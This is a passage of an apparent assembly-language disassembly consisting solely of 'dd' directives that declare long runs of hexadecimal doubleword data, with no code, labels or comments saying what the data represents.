		dd 0FF7C7B2Ch, 0BCB366F1h, 1C3F53A3h, 0AB8EE407h, 0EFAA8D96h
		dd 0DBA34BECh, 8BDA285h, 39D11BDCh, 7826D704h, 0CF6B0A81h
		dd 0E714351Ah, 0F166F48Dh, 37DABF9Ah, 0D61C011Ch, 4E3F291h
		dd 0BF59A0BFh, 0AC460035h, 0BBh, 7681326Fh, 0C166F482h
		dd 0B4E9741Eh, 15328A88h, 0DF604DC4h, 1A3D53D6h, 5BFE9235h
		dd 49E75576h, 99EF6D04h, 0F086A9BEh, 0A361167h,	0A3BE992Fh
		dd 472C61D5h, 7349EFBh,	0A76C056h, 87DB0E6Bh, 890ABFA4h
		dd 2FFB10C5h, 8A3B686Ah, 65060B0Eh, 5083B065h, 0F9642F38h
		dd 152A5F14h, 0B0BB9EF2h, 8E00B256h, 86CC9AEh, 5000001Dh
		dd 0E6091E39h, 7C9FB4AFh, 0F3247DAh, 0A4C7DC47h, 335469CCh
		dd 0E07B0FA1h, 78D3A8CBh, 0C174063h, 9BBED4F7h,	590AB786h
		dd 66F1FE9Eh, 5389A299h, 0F8D8253Fh, 61E1CB75h,	38347B0h
		dd 63BF06Dh, 0C399BCD1h, 4D083B68h, 7AE5AFD2h, 53DBE4F9h
		dd 92351A3Dh, 554459FCh, 0FFD3C65Ah, 69CD21D2h,	5C086B0Bh
		dd 28AAFAA3h, 3B9EEECh,	0FE899D6h, 2866F48Dh, 8D2DCA7Bh
		dd 4D0266F4h, 0F9F69718h, 26CB7A5Eh, 81325F73h,	0B089A355h
		dd 0BA06EBA0h, 15C6F3DFh, 0AE7CC09Eh, 0C4F724D9h, 66F99DAEh
		dd 0B3EF1C31h, 2CC79BE6h, 88AB2C95h, 0C04C57F2h, 40349FE7h
		dd 1C4DFE5Bh, 760B0000h, 0FA9BBED3h, 652F5267h,	92C2E5FAh
		dd 3577A8Fh, 60F21328h,	889DB8D0h, 162B0E65h, 0A8BDA0F3h
		dd 374CEF85h, 0ED0ABB68h, 4266F1FDh, 3D53324Bh,	0B0E9351Ah
		dd 0C4F95C34h, 5488E697h, 0ABF6B0Bh, 0A0AD06F5h, 0B132156Dh
		dd 0F11EB4E5h, 0A68B96BEh, 0EBD05303h, 88DE0136h, 9213C8ADh
		dd 0A3F52865h, 7D2EDBC0h, 66F5347Ah, 4ACB00B5h,	0FC5045A9h
		dd 62DB1764h, 0B99CF4FBh, 62A5E28Dh, 0B2681DE1h, 0B4F46711h
		dd 0FFD3C6AAh, 326295D2h, 14954A2Fh, 5A0C6373h,	3015CAA3h
		dd 582FB5E4h, 0A7BADAFDh, 1F944572h, 0EFA94D1Bh, 9C81A4BCh
		dd 0EDA266E7h, 385083C0h, 6083381Dh, 8BAE2F0Ah,	1A3D52F5h
		dd 40D6E144h, 0C049AFAAh, 1B7D7EDBh, 86DB0000h,	2A6B8EA3h
		dd 55FF2237h, 0C292B5CAh, 53274A5Fh, 30C2E3F8h,	586DC8A0h
		dd 0E6FB5E35h, 788D90C3h, 71C3F55h, 1DDA8B38h, 1266F1FDh
		dd 3D53021Bh, 10F5682Ch, 9441265Bh, 4E51A657h, 31E66D04h
		dd 26B5E4B0h, 7834AE6Dh, 0ACD90E73h, 0AB153FBh,	0C0D58A6Bh
		dd 6237CFD1h, 5C924370h, 9364FB6Dh, 2275B1DEh, 0E56EBF5h
		dd 0D4B9A4F0h, 0B369EA1Fh, 0AC593B12h, 0B12178F1h, 2D03D384h
		dd 0B56ACE63h, 0BD1584D0h, 4B205390h, 0E5CE6FF0h, 92D0643Ah
		dd 0E57DB0DDh, 34193C54h, 0B0654A7Fh, 0B9CF022Fh, 1066899Eh
		dd 0CABE2A35h, 250A12B6h, 1ACAC8h, 60FB8E00h, 0F26D284Bh
		dd 8598BADDh, 16094D70h, 0AF8ADE01h, 55E7799Ah,	0E2051A3Dh
		dd 7295AA8Dh, 6293E21h,	0F1C0D570h, 0FC649344h,	0D4CB66F1h
		dd 0D90C49BBh, 0F601A2BDh, 416D044Dh, 92E80B8Ch, 1386D2B7h
		dd 0B5F92BFh, 15964B30h, 5C6737E8h, 691E6B0Bh, 0E7476554h
		dd 42F320B2h, 64FC56ACh, 1833477Ah, 0E94356ECh,	0A627AAE5h
		dd 0D6772DE2h, 9046FA0Fh, 406D6534h, 0C89E478Fh, 4212456Dh
		dd 0E59A5EDFh, 0F6E5B400h, 0FCD80751h, 0F1542C5Ch, 0F622570Ch
		dd 0FA3858F1h, 3A679CBAh, 0BE442A89h, 7BA85D6Fh, 0EA173248h
		dd 43FBFCADh, 7F346FC2h, 7FBCE9FEh, 0C24429CEh,	0D8590E6Fh
		dd 717CDFB5h, 735CC3CFh, 56247h, 5800001Ah, 0EE112601h
		dd 84A7BCA7h, 173A4FD2h, 0ACCFE47Fh, 3B5C71D4h,	0E84317A9h
		dd 80DBB0D3h, 140F486Bh, 0A386DCFFh, 6112BF8Eh,	66F1FA96h
		dd 5391AAA1h, 88351A3Dh, 4E5D9A4Bh, 1DD26D04h, 9C9D09Ch
		dd 42632BDCh, 25DA6B0Bh, 16922110h, 0E6224F83h,	0BE2E73E7h
		dd 9ECB4CEBh, 0FBA301EDh, 5A873C64h, 75F65127h,	195592BFh
		dd 7A8DF200h, 9E59FA79h, 996D03EFh, 2FD4DEEDh, 86BBDDEDh
		dd 0D9566405h, 4578FECBh, 0BF8B0C2Fh, 8ECBF8DAh, 0BC0EB552h
		dd 49EA762Ch, 0D93B82AEh, 0B4AFE689h, 6EFC537Fh, 875AFD15h
		dd 0AE28D906h, 9D74301h, 76236F54h, 9E976F65h, 0E2179879h
		dd 5CAF04B5h, 33E8D544h, 0ACBDD306h, 5F4975E8h,	0C3F3E636h
		dd 0C4E7FC31h, 0D4808BAEh, 4C1DD6F0h, 19210A67h, 22370000h
		dd 86CFF207h, 3163869Bh, 5EF6192Eh, 0F78BAEC3h,	8C1E3F54h
		dd 0ACC164FCh, 4257F289h, 0D4E9741Fh, 6B80DBB1h, 0B93EEF9Ch
		dd 7E66F1FAh, 3D536E87h, 0FFB0ED1Ah, 6D044DF8h,	68FB9C3Fh
		dd 81CDB233h, 0DC8DBA18h, 6B1601C0h, 6295C277h,	0E714290Ch
		dd 9A7FE2B4h, 0C4C364E5h, 8366F201h, 82A5BA18h,	683449ECh
		dd 3774A131h, 1AE49FAh,	0D48966F2h, 0B5EAB253h,	0A5516503h
		dd 597ADFD3h, 0FA5C8CDh, 0F33D7BA7h, 96C532E3h,	0B56A6D03h
		dd 26395D80h, 0C491C4F1h, 74214459h, 0B6104E9h,	97708738h
		dd 24C76D03h, 86BBF073h, 1E7ECD7Bh, 0FB583D8Eh,	186Bh
		dd 9CB194EDh, 2C41DC79h, 0BFD44F09h, 5065F89Ch,	0DDF2552Dh
		dd 0C69A2ABCh, 542B4E63h, 9EB9DCF1h, 354B6E83h,	812EFD12h
		dd 0F1FA27D0h, 191066h,	0EB7D1649h, 0CB210710h,	5F4479A5h
		dd 3C5D29AAh, 0F92C6996h, 0A546C762h, 6B15F6F7h, 0F21C99D5h
		dd 0A422A0C9h, 7DAA5F23h, 0FC11344Ah, 3A676B30h, 978ACAFDh
		dd 0D9440FB2h, 890A3FF4h, 0F1C623E8h, 7A5F1466h, 0F1C5A159h
		dd 57347966h, 0FD694ACEh, 7F2345h, 0AA0A0000h, 3B4E1F1h
		dd 6D044E00h, 0E5268B37h, 608C97C0h, 1146C3C8h,	2E13A8E4h
		dd 9558B9Ah, 0A3CC2BDCh, 0AE636D03h, 0D427482Dh, 46D03A3h
		dd 43E6CB6Eh, 85280D10h, 0B56A4FD2h, 0FCDDAAEFh, 328BD81Dh
		dd 0E7CC57FFh, 54C4B132h, 194C0F47h, 2Dh, 4E25D500h, 91086D04h
		dd 26D71441h, 6D044DD1h, 0F04F29FEh, 0EAAE5760h, 4A87B435h
		dd 0AB89240Eh, 90118693h, 0B281FEFh, 4C61166Bh,	0ECEFAA43h
		dd 9FF4B824h, 0F622D7BCh, 688B958Dh, 0D5023712h, 0A777224h
		dd 0DB08BD6Bh, 0F187D0A8h, 0BBA02156h, 5DF94218h, 2D608DC2h
		dd 0D44F0657h, 0DFF8739Fh, 0B8741419h, 69FF2237h, 93CE9CEh
		dd 3053D44Fh, 0E2E60658h, 0A009946Dh, 0B2E3866Bh, 6E27CAAFh
		dd 40150EF3h, 4FA49223h, 0DF76A930h, 9BBC5F44h,	0B9EEA388h
		dd 0DC7F1538h, 36C172AFh, 166F45Fh, 89B6CB4Ch, 0A0213C56h
		dd 5F44E77Dh
		dd 8B9D76B2h, 0CC503A84h, 0B81A7F4Bh, 6B50DA8Bh, 520764FBh
		dd 0E1441A3Dh, 61124FFCh, 6D037C96h, 0EBFECA1h,	6D037CE9h
		dd 7718994Eh, 153218A5h, 0AF3655AAh, 1E41E47Ch,	5409EE49h
		dd 7FDAB0D3h, 480A3D6Ah, 5B3154D5h, 0AE97D300h,	4297372Fh
		dd 6C0FF475h, 0CC083528h, 3259C5C6h, 0E7AFD294h, 1D16FB7Ch
		dd 75E8ADE0h, 89502FF4h, 105C9B4Ch, 30D3F4CEh, 651AFF5Ah
		dd 0A5520330h, 8AF4CE0Fh, 5B3154D5h, 0B2C8EB00h, 0D205B297h
		dd 4E1A9BBEh, 876904Bh,	0E8052401h, 434A86B3h, 3FCCA3Ah
		dd 1BCCF97Ah, 0F2D49FE3h, 4578A55Ah, 70250A2Dh,	7AADDAEFh
		dd 0A2C546D9h, 0E18469CCh, 5CCAAF8Ah, 2E617807h, 0D4770D66h
		dd 20053AEFh, 0B1C7EA6Bh, 0C32D6996h, 7C5D4AD5h, 0FC532E3h
		dd 0B56AEECBh, 0C7EAFF80h, 65B196B1h, 0C0719E34h, 0ECD22582h
		dd 0C8EB00B5h, 91B297B2h, 4CE3B6Ah, 8C7A479h, 9FC2D772h
		dd 0D78469F4h, 38129E9Bh, 6A1F041Fh, 66CFA83Eh,	9DAEC2E5h
		dd 0CC8166F9h, 0BF6CB297h, 0D051F48Ch, 29657C0Bh, 4C481E7Dh
		dd 2649CACDh, 0E051046Dh, 467BB08Bh, 0DA450E31h, 1F0252F5h
		dd 0F304B5F2h, 3C04CDEAh, 7E210687h, 0C2654AD5h, 9FAA8F92h
		dd 5A2EBDCAh, 87DCCAFFh, 0B5A8EBF8h, 47DA7DA0h,	0C093E71Ah
		dd 0CDEAE80Fh, 659A4F04h, 0ED9ECB80h, 4CDEB0Ah,	0AEF7025h
		dd 0CAF7DBBEh, 0D5097D19h, 1E03B802h, 0B4335025h, 5DC092E3h
		dd 9AF01328h, 0FA2DDABFh, 2DE2C75Ah, 0EED3760Ah, 0FF95B839h
		dd 66FC2F5Ch, 0A829DEC3h, 2B387DC3h, 4E63C69Ch,	0C433E421h
		dd 6BFECB0Dh, 0D04835B6h, 9DDDD6B5h, 44h, 50E92460h, 5565AFA4h
		dd 0C49CBD4h, 44D9C5Bh,	0FC5F346Dh, 5EC19538h, 0E8FC479h
		dd 0D0B5A8EBh, 0C235E623h, 6D6D044Dh, 2E6B37B8h, 0A4C677A4h
		dd 0D36B0B50h, 2F827526h, 0F8AD66F5h, 17D1AEC3h, 38000000h
		dd 381D0053h, 1D37ADECh, 33681D02h, 79915506h, 27DC6B0Bh
		dd 2C870912h, 8CB91980h, 0E87B1C4Fh, 6A28C667h,	0AA5F6B0Bh
		dd 0C094C7F4h, 0BC3BDC5Dh, 6B93A834h, 0FCFBAC2Eh, 0CB7A481Ah
		dd 0AD5BA5D2h, 32E7AB95h, 38A35405h, 0D78C7A48h, 12C475A2h
		dd 5D784F3Dh, 0E316C3A8h, 14C9AEB1h, 0D2C793h, 6A9122D3h
		dd 23C67658h, 8EBBF073h, 0D22055Bh, 0AFC394EAh,	44C578Ch
		dd 47CA2FAh, 1459C21Fh,	6AFF0000h, 0FE97BACFh, 692B4E63h
		dd 96BEE1F6h, 3F53768Bh, 54E6071Ch, 7489ACC4h, 0A1F3A51h
		dd 9CB1ACE7h, 3348E379h, 0F106B764h, 4666F1F5h,	22D5364Fh
		dd 56D044Fh, 0D5113E94h, 88C7C1A6h, 18DF90C9h, 1F6D042Dh
		dd 87B4356Ah, 0B2498D6h, 0ED1ACF6Bh, 268E98BAh,	2A16AD1Eh
		dd 0BBE8699Eh, 3F54CF88h, 3E87B1Ch, 80A81A56h, 0C95D4B37h
		dd 0F44F2548h, 0F4EEB443h, 9AC67B66h, 3638B8A9h, 98A3D80Fh
		dd 881162DEh, 0CC046146h, 8C000013h, 1A3D52F5h,	0B0D3E87Bh
		dd 43667BE6h, 0D8FB1013h, 6F90A580h, 14374BDDh,	0A487DCFFh
		dd 382B6C8Fh, 0CF6A0023h, 8D3EEBBAh, 66F1F56Ah,	0AAB5CEC5h
		dd 0BEA1F5EFh, 35205C89h, 0B18DE008h, 0D4113EBFh, 0EB6CF7A1h
		dd 0B0A244Ah, 79A65B6Bh, 0D24D093Ch, 0FC672E51h, 365F92CFh
		dd 1E6D8A2Bh, 0DC266F5h, 174A778Ch, 4AFFE47Fh, 86EFA6C9h
		dd 0C06C51CCh, 0B1E76830h, 53A6F30h, 73CEA5D8h,	0F49035C2h
		dd 1045FA66h, 7107AA8Fh, 0DD76A9D6h, 23271642h,	185E9AAEh
		dd 0E4B9B297h, 1B0D4887h, 0BB517BC0h, 0FF14497Ah, 5C8F8610h
		dd 893E2306h, 745E3C08h, 67FA9BBEh, 1D996182h, 183D66F5h
		dd 0D87D2005h, 80556045h, 0D2A7D2E3h, 5DF92CB5h, 689D80D4h
		dd 0F0A1CE83h, 66F51E07h, 0D7FA7B30h, 6B8EA3BEh, 652372Ah
		dd 0D5123F93h, 1E10E798h, 842766F5h, 0B66B50D3h, 1D5F0081h
		dd 1C6506D1h, 71073A67h, 396CA9D6h, 6C210621h, 0E6D22CCBh
		dd 0A556036Ch, 6CE6D252h, 72F328DDh, 1243A5Dh, 9C9D01Ch
		dd 85D02BDCh, 0B2676AF8h, 5A0B4885h, 66F51D9Dh,	1E7F7829h
		dd 3B866F5h, 0E6098A3Fh, 73A0B590h, 280D2840h, 0B9CFF273h
		dd 2C6DB99Eh, 9E839EB8h, 0ECEBDE9h, 3D9B4FBFh, 0C2ADB08h
		dd 0A364FC17h, 0F08BE3EEh, 0A2878E1Eh, 125E45h,	0C467FA00h
		dd 56C98CAFh, 0E9741E41h, 7AE5B1D4h, 0B2E4265h,	0B143D5F6h
		dd 46697ED9h, 0DE011631h, 7295AAB5h, 5524391Ch,	0F400F7A8h
		dd 403766F1h, 4E29D527h, 0F2A56D04h, 0B8E5A6Fh,	13679AC7h
		dd 4D8AB738h, 0FE9F7711h, 8A0B24FDh, 15681AE9h,	0E088C46Bh
		dd 3C277035h, 4076A257h, 995DDE31h, 0D284B7E4h,	0D10D3A4Fh
		dd 1BECAD61h, 61F61955h, 893C45C6h, 4C8FE98Fh, 197DCh
		dd 0EEAAC300h, 4DBC3BECh, 0BE736D04h, 98498089h, 6D044E62h
		dd 0B7EA17DCh, 0F45C88A3h, 72461BC2h, 49444DCEh, 29D8B130h
		dd 0DCE5EDAAh, 0AEC5F8A5h, 4E15E293h, 651A6D04h, 0CDFA0430h
		dd 3D32A715h, 0F0AAB3BCh, 93C0D9E2h, 4B300B60h,	890C1596h
		dd 4F0FE99Fh, 50ECh, 0D49D300h,	0C5FBA672h, 0F6C24398h
		dd 0D10431A1h, 0F189984h, 0B0D00C49h, 4BACC773h, 708A2BACh
		dd 0C76D03ABh, 0CB2CDD1Ah, 646D03AAh, 0AAE90EAFh, 994E6D03h
		dd 0AB3CBB6Ch, 3EF36D03h, 0C490009h, 23A4BFD9h,	1E01531Ah
		dd 992BB415h, 34h, 0E5EDAA00h, 629849DCh, 0DC6D044Eh, 30490E17h
		dd 0E0270153h, 0EC336986h, 0E413C4F1h, 4B6D038Bh, 0F7346196h
		dd 38BB146h, 0F651276Dh, 0E3985C11h, 2BB45962h,	9C5B0C49h
		dd 936D044Dh, 0B8705DDEh, 0D54F0FE9h, 51h, 0E2F0AABCh
		dd 0C2E379B5h, 0AA00EC2Ah, 0D82BCC7Dh, 4F046D03h, 9849C5CEh
		dd 6D044E62h, 621396Ch,	6314C185h, 6D044D94h, 0C762F89Bh
		dd 49545D92h, 31025330h, 6419FE59h, 0D60B1641h,	992BB4CDh
		dd 5Eh,	77D2A9DCh, 9ABADD92h, 6CEDA287h, 0EBF0AA63h, 2EDE2A4Fh
		dd 9EA7DC0Eh, 9C5B0C49h, 936D044Dh, 0F3305DDEh,	4DF205B6h
		dd 883D6D04h, 4D946607h, 0EEAA6D04h, 0F94876F1h, 3D467B75h
		dd 2533049h, 4D21C228h,	8ABF43B5h, 0F123215Dh, 0B848DAAh
		dd 7B4818Ah, 0B89D80D4h, 0A9DE4115h, 60991F28h,	0FFFFFEh
		dd 0B6E3EFAAh, 16019705h, 0FC29DE6Bh, 8398B3C9h, 0C1EEE4B7h
		dd 0F201E710h, 0B69B5066h, 0F2026495h, 1C6BB066h, 6CFD92C5h
		dd 1AFF3417h, 6146E177h, 9F677ACh, 45FDA60Fh, 60E60F4Bh
		dd 5D42DD78h, 20FD7CA8h, 3E6A8607h, 51000000h, 44E26D5h
		dd 1D75A86Dh, 0C096B93Ah, 4BAF5065h, 0E26D044Eh, 1C4524B7h
		dd 0B2DE7911h, 3D7274B4h, 0C8A0D310h, 0F74BEC6Dh, 4E6B0B10h
		dd 0A1A78499h, 0EA000000h, 26928FAEh, 98A910Ch,	0E3EFAA00h
		dd 619505B6h, 2BE06B0Bh, 0A788CBFEh, 2B4075D0h,	92B5CBFEh
		dd 5477F8ADh, 0EF3B2003h, 4AFB28AAh, 6506D53Ah,	0FC2F5C11h
		dd 90B3C85Bh, 0FC2F5CC7h, 6146C75Ah, 0AE578415h, 7124B730h
		dd 0D182AFE4h, 6AF84068h, 0BAED1ACFh, 5DC093A4h, 0B3E61328h
		dd 0DF9479DCh, 2253B5Eh, 114791F7h, 4FAC9188h, 0F5Bh, 0ACC164FDh
		dd 3C51CC89h, 0CFE47F19h, 6075E8ACh, 0ED02253Dh, 0D6AA3ACCh
		dd 243B5E73h, 8EC9EC01h, 55B7E93h, 913E0D22h, 0F1F117E0h
		dd 10292066h, 351A3D53h, 1C3F5588h, 47E2789Bh, 88D71C62h
		dd 0ED02253Bh, 0FF11800h, 70554Ch, 493C0000h, 3A7BB30Dh
		dd 8809018Bh, 0C8F5DDBCh, 0A58BF17h, 5C41F66Bh,	36C172AFh
		dd 166F469h, 0D2A8CB4Ch, 0F8356277h
		dd 0C968D6BCh, 0EA8BFF89h, 66F4710Dh, 0C9EC6D22h, 684CA1B3h
		dd 0F6DB7E12h, 70FC1541h, 0E9265388h, 0A1683ADh, 17B8B932h
		dd 66F45BE0h, 0E97FA257h, 9CE8CD4Eh, 0F7A8D5FDh, 64FB6FA3h
		dd 7223669h, 0F80DC286h, 64FF98CBh, 253DAE3h, 0A9BFF21Fh
		dd 8A6FCAA0h, 18BBA0D5h, 48FDE27Dh, 5A7D9213h, 2243283Bh
		dd 6D044DE2h, 0B1C659FAh, 0F11EB4E5h, 31C677B4h, 66D044Eh
		dd 4E47B051h, 3BF06D04h, 2ADC8DBAh, 0BC6B1602h,	229CE7Fh
		dd 590E66F2h, 325F14D8h, 0B5CA55FFh, 6A0D49ACh,	18F5F31Ah
		dd 53C5B233h, 74C8F3Bh,	0B89D80D4h, 5B668203h, 4D000001h
		dd 0DBE4EEAAh, 0F7401649h, 2BE0C560h, 0DB5C11F6h, 4DFDFDAEh
		dd 7A3F6D04h, 0B1304971h, 17C805D8h, 6D044DE0h,	1821A257h
		dd 0DCE5EDAAh, 0ADC5F8A5h, 4E16E192h, 6C216D04h, 1C9D5237h
		dd 0E2F0AA13h, 49B7C0D9h, 4D9C5B0Ch, 0DE936D04h, 0E9B8705Dh
		dd 32D54F0Fh, 0BC000000h, 63F7EDAAh, 0F92EE3C8h, 78C199CCh
		dd 2E1348E3h, 49EFF879h, 44E6298h, 1720D56Dh, 1533049h
		dd 94BEF11Eh, 6EEFA489h, 992BB465h, 34h, 5B0C4900h, 6D044D9Ch
		dd 915DDE93h, 49C3CC06h, 44E6298h, 0E17DC6Dh, 0E37E1649h
		dd 9BC849FEh, 5B0C4982h, 6D044D9Ch, 39FD6034h, 0B6E00384h
		dd 2BB4A2ABh, 0FE99F89h, 6D9FDB4Fh, 857223E4h, 0AA6A0414h
		dd 0D1B4C9F5h, 391B37B8h, 2000000h, 0B5E2F0AAh,	0F0A52579h
		dd 50D1A253h, 62984947h, 0D56D044Eh, 5B6F320h, 6D044DF2h
		dd 0FE07883Dh, 83D90C49h, 4FD285A8h, 2B34B56Ah,	161F0253h
		dd 45992BB4h, 0
		dd 9CF4F0AAh, 2C4765C2h, 80B5C1EFh, 0BA3DEE9Bh,	756D041Eh
		dd 29568BC0h, 41C25DF6h, 62984938h, 0DC6D044Eh,	16490E17h
		dd 3865E641h, 7F16491Fh, 0C94AFFE4h, 0CD86EFA6h, 83B86D52h
		dd 0EE712356h, 2BB4646Dh, 0FFFE8C99h, 0EFAA00FFh, 9705B6E3h
		dd 0DE6B1601h, 0B443F431h, 7B66F201h, 1D225C6h,	0A85D66F2h
		dd 7D134673h, 0E67AADDAh, 28A95E43h, 7E544713h,	257A051h
		dd 3A7766F2h, 0F2026E89h, 9314C966h, 14351ACFh,	66F201E5h
		dd 0CFB497EBh, 10F5682Ch, 9F3E4DA2h, 15EC7BC0h,	45FDA603h
		dd 1968h, 26D54F00h, 0B26D044Eh, 104C79DCh, 5F86F6EFh
		dd 475CDD67h, 0B66Ah, 0EFAAD100h, 2905B6E3h, 646B0B50h
		dd 0FB9C95C1h, 0D1FE3368h, 556AF59Eh, 0D1FE6132h, 3014E394h
		dd 661B66F5h, 306F8839h, 13C866F5h, 3861AD92h, 0C4BC6D9Ah
		dd 7B6506E3h, 2D6699C6h, 0BDF01D32h, 0E1048598h, 417EABB6h
		dd 0C5264805h, 2FD0A734h, 6CE749C8h, 5439BA6Fh,	98499108h
		dd 6CE74A5Fh, 7D7A2BD8h, 0B26CE74Ah, 6693C8FDh,	0F90684B5h
		dd 49762B6Ah, 0D0E54016h, 6974D7ADh, 88118909h,	0E0B714F9h
		dd 7800000Bh, 0E3146E1h, 0A4C7DC47h, 375A6FF2h,	0CCEF041Fh
		dd 5B7C91B4h, 82337C9h,	0A0BBD0F3h, 342F688Bh, 0C366FC1Fh
		dd 8132DFAEh, 66F1ED76h, 49B1CAC1h, 2E74216h, 886F204Dh
		dd 0AF6D044Dh, 5679FAh,	7765A02Eh, 73A82A68h, 0D97C1346h
		dd 9E839EB6h, 0E08368E9h, 84CAAF8Ah, 0CDA3203Fh, 0B068556Ah
		dd 0BD4C0F71h, 44h, 401649A4h, 44AEEDEEh, 578CF0FAh, 4C8F0AD6h
		dd 0CF401E2Dh, 5B88BD6Dh, 0A91B0AAh, 0B0619E6Bh, 66F47547h
		dd 0F6BA3BF0h, 0A3B95C41h, 3A507388h, 0A8BFF21Fh, 0DB270C8Dh
		dd 36E714BEh, 64FB76F8h, 0DCE5FAAFh, 0E17C1649h, 0AA8FAABEh
		dd 45174F5h, 9B630419h,	336D044Dh, 0A3540560h, 8C6D044Dh
		dd 7FE2B4D7h, 9BB0E59Ah, 0DB08CACFh, 1601F12Ah,	6491466Bh
		dd 15F3EB27h, 2CF06E3Ah, 3220C00h, 0F576238Eh, 889D80D2h
		dd 0E98F897Fh, 8FCB4C8Fh, 91058F6Ch, 0D6F27392h, 195h
		dd 0E4EEAABDh, 0B00D49DBh, 8803D18h, 0A5568304h, 6D03AC55h
		dd 0D104477h, 6507328h,	18DD9A1Bh, 0B130490Fh, 17C805D8h
		dd 6D044DE0h, 0D57FA257h, 0AAC0C94Ah, 49DCE5EDh, 476EB60Dh
		dd 63900E90h, 36245B2h,	0B435EA6Dh, 0F0AA5AE3h,	0C49D9E2h
		dd 44D9C5Bh, 9BF0936Dh,	540A8BC0h, 0E99F894Bh, 2BEC4F0Fh
		dd 0D3000000h, 3CEDEDAAh, 6D044DBBh, 818ABF74h,	4E629849h
		dd 20D56D04h, 53304917h, 0B4151E01h, 9F82D407h,	7B8405BAh
		dd 5B99h, 0EDAA0000h, 0C82671EEh, 6499889Bh, 6298495Bh
		dd 0DC6D044Eh, 0FCADEA17h, 6D044DFBh, 0F5FE7F34h, 1ECF0C49h
		dd 6D044DD9h, 0E6CB56FFh, 8CB86D31h, 0C1047979h, 0B9C24351h
		dd 151E0153h, 1ECF0C49h, 6D044DD9h, 0EF08A95Eh,	486D044Dh
		dd 8004CD9Ch, 9ACF353Dh, 5D42DD77h, 0DC6527A8h,	0EB020D49h
		dd 7459FC94h, 97EB93BFh, 243F5679h, 1C098A3Fh, 4F0F7D0Ch
		dd 3561h, 0F0AA4800h, 0C49D9E2h, 4DD91ECFh, 69FF6D04h
		dd 7034E9CEh, 61993ABBh, 0D46D044Eh, 1B005B31h,	49283166h
		dd 31025330h, 6419FE59h, 2BB4262Fh, 5299h, 0F0AA0000h
		dd 0EC82B5E2h, 49BFC849h, 44E6298h, 0EA17DC6Dh,	4DFBFCADh
		dd 7F346D04h, 3049F5FEh, 0F21F0253h, 4DF304B5h,	22D36D04h
		dd 6D044DD5h, 2CE1A55Ah, 0D49A2ABh, 32E3ED59h, 6D040AC5h
		dd 389B56Ah, 3E008199h,	2C375E91h, 6DF0A447h, 99AEB738h
		dd 0FFFFFE59h, 0E3EFAA00h, 49EC83B6h, 0B2EA9BC8h, 896B1601h
		dd 1C74A7D4h, 0E116094Bh, 99C647FCh, 896E1F5Ch,	0AE66F201h
		dd 3F5578F9h, 603B071Ch, 0CC084572h, 0ED9ED790h, 66F2190Ah
		dd 4D447025h, 590A3783h, 66F2129Eh, 0C263E499h,	66F21335h
		dd 2D085E91h, 4E33E8ACh, 3E196EA1h, 12DD1CBDh, 0F23766F2h
		dd 5E0F4C95h, 66F21299h, 7B68E99Eh, 45FDB69Dh, 10CEh, 26D5B500h
		dd 0B26D044Eh, 876479DCh, 0DAh,	0F5EFAAEEh, 0E512C39Eh
		dd 4A6D044Dh, 273D6095h, 66A2CF04h, 7E74B2ADh, 0F8689165h
		dd 0AAD0FCh, 0D10E3BBCh, 0EE6FCA9Eh, 0A6BD94Dh,	0B2DF946Bh
		dd 7DCB3975h, 4287C452h, 4E9741Fh, 0E8ABCE4Fh, 5A0B4875h
		dd 66F52A9Dh, 475CDD92h, 52027324h, 3A6D9ACFh, 7A1D0225h
		dd 8D0E43E6h, 953D5CA8h, 0DED5B768h, 0E1846506h, 0FC4A9B4h
		dd 0D97AADDAh, 450E3146h, 0DA7AADDAh, 0F2270259h, 59408C71h
		dd 9E9B4C79h, 156AF89Bh, 2340B768h, 42F766F5h, 0D7ADE00Dh
		dd 6F54CF86h, 4D7085BAh, 77091437h, 8F8811E2h, 8194DAAh
		dd 2A3F0000h, 0BED7FA0Fh, 296B8EA3h, 56FE2136h,	0FF93B6CBh
		dd 9426475Ch, 0B4C96C04h, 4A5FFA91h, 0DCF16C27h, 7388A3B9h
		dd 0B146F7A4h, 8666F1E9h, 3D53768Fh, 0FC92351Ah, 0E92E7459h
		dd 14374D9Ah, 7BDEB4E7h, 4B60E196h, 0FF5BA5Eh, 42B34Ch
		dd 0AA9A0000h, 79B6E3EFh, 2D120D46h, 2456F778h,	136B0B52h
		dd 8FCC795Eh, 3156A152h, 2CE166F5h, 0F5316C8Bh,	8D0EC366h
		dd 0F5310FECh, 0BBC80D66h, 0D8B662h, 0DC6AA646h, 0B7E363E0h
		dd 56C4E061h, 0AB000000h, 8CFC0D49h, 2247A291h,	16C4D5A1h
		dd 0B1CF28D9h, 0B3686D03h, 3B1E512h, 60954A6Dh,	0B4948233h
		dd 35726B0Ah, 2CCD5002h, 66F4CBCBh, 0D6CD47FCh,	0D99DDA7Fh
		dd 2ADFA324h, 69CCA245h, 5B3154h, 8CACF1Bh, 0F5FC2ADBh
		dd 97CA64FBh, 0C87D62FDh, 0B9CE8347h, 7C2887B0h, 26DDBE1Dh
		dd 9A67BB4h, 0F8F6A7D4h, 2F6B0B5Eh, 0D0114D7Ah,	4F165D61h
		dd 6607BD3Eh, 0A7625C32h, 35286DA0h, 0A5401809h, 34B5900Fh
		dd 74A13168h, 0D0530437h, 421336EBh, 0C445FADFh, 9216B323h
		dd 0A35491A4h, 0AC8E2754h, 0E1A526DBh, 9EFB472Ch, 276C8B3Ch
		dd 0EC3AC8Eh, 0E279ACD9h, 0E899C647h, 0AA954CCBh, 679AC77Ch
		dd 110C4811h, 2D42772Ch, 9588CD00h, 68CFFBB0h, 6FFDF12Eh
		dd 156B8E0Fh, 66171244h, 0A68B0E91h, 87BCF1A6h,	67F6087Ch
		dd 0B613F848h, 697h, 788DA8C1h,	81D0055h, 9BB0B3E5h, 2C41DC78h
		dd 0C1D67109h, 0EA7E0EA0h, 40173A4Fh, 0EAADD0E5h, 293F6277h
		dd 7D2AF90Eh, 0F1E82BCCh, 0F40D0466h, 71223D53h, 6D044D86h
		dd 9AC7FCB1h, 0BBAD945Eh, 45CC0B5h, 17DE0BC5h, 0CBB03166h
		dd 0C6F36E28h, 9B1FD889h, 63186D03h, 9801CDE2h,	305C0D3Ah
		dd 276B154Eh, 0A8EA8D72h, 36ACAAB5h, 371C880Ch,	622DAh
		dd 8233600h, 9A85D0F3h,	2D306285h, 0BEA1F518h, 57F286A9h
		dd 0FD8F2142h, 8AADC265h, 1A3D52F5h, 0AED1E679h, 99687DD8h
		dd 0E7BC3BECh, 7C7366F1h, 42164963h, 0CC4D02E7h, 354B9900h
		dd 43782D12h, 0E137DA16h, 91B193E6h, 4E32E310h,	0E56B15F6h
